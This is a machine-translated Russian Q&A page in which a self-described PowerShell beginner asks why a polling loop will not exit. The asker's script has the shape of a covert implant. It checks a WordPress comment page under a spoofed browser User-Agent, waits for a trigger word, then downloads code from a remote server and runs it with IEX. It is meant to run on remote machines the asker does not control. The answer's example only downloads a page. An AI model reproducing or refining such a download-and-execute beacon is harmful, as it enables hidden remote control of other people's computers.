Я совершенно новичок PowerShell, поэтому, пожалуйста, будьте снисходительны;)

Я пытаюсь написать скрипт, в котором машина проверяет внешний веб-сайт в ожидании слова "тест" для выполнения загрузки. Все идет так:

$Word = 'test'
$WebClientObject = New-Object Net.WebClient
$comment = "http://MySite.wordpress.com/comment_section/"
$WebClientObject.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1667.0 Safari/537.36)")

While($True) {
  $CommentResult = $WebClientObject.DownloadString($comment)
  $Found = $CommentResult.contains($Word)

  If ($Found) {
    IEX $WebClientObject.DownloadString('http://A_Server_That_Is_Accessible/Tasks_to_do')
    #Task_to_do and some blabla commands
    Return
  }
  Start-Sleep -Seconds 60
}

Я использую PowerShell 2.0. Windows 7

Что случилось:

  • загрузка не выполняется через интернет
  • это не проблема, исходящая от IP-адресов или путей

Что я сделал дальше:

  • Я непосредственно пишу различные команды в командной строке powershell:

-> while ($ True) инициирует бесконечный цикл, не выходя из него.

Чтобы сделать трюк, мне нужно "дважды щелкнуть на клавиатуре и вернуться", окончание цикла и команда "downloadstring" наконец выполнены.

Помнишь, я больше, чем новичок, верно? :(

  • Я пытался "прервать", "вернуться" или "выйти", но невозможно выйти из цикла.
  • Я пытался вставить много двойного возврата каретки в мой сценарий, но безуспешно.

Кто-нибудь, пожалуйста, укажет мне способ сделать эту простую вещь ...? :)

Большое спасибо.

ОБНОВЛЕНИЕ Эти маленькие строки должны использоваться разными людьми в разных местах (это одна из причин депортированного веб-сайта), и у меня просто нет возможности обновить удаленные машины до более новой версии powershell. Если у кого-то есть гуру Microsoft PowerShell в его контакте, это будет просто огромная помощь. Спасибо всем, ребята.

1 ответ1

0

Хорошо, вот простой пример того, что я думаю, вы пытаетесь сделать:

$Path = New-Object System.Uri("http://localwire.pl/");
$WebClient = New-Object Net.WebClient;
$Word = "PhraseThatDoesNotExist"

While ($True){

    $Result = $WebClient.DownloadString($Path);
    $Found = $Result.Contains($Word);

    If ($Found){
        $Path = New-Object System.Uri("http://stackoverflow.com");
        $NewResult = $WebClient.DownloadString($Path);
        Write-Host "Found!"
        Break;
    } Else {
        Write-Host "Not found!"
    }
    Start-Sleep -s 5
}

Мы загружаем одну веб-страницу, и если она содержит фразу, которую мы искали, мы загружаем другую страницу. Надеюсь, я вас правильно понял. Если нет, пожалуйста, дайте нам знать, что именно вам нужно.

Всё ещё ищете ответ? Посмотрите другие вопросы с метками .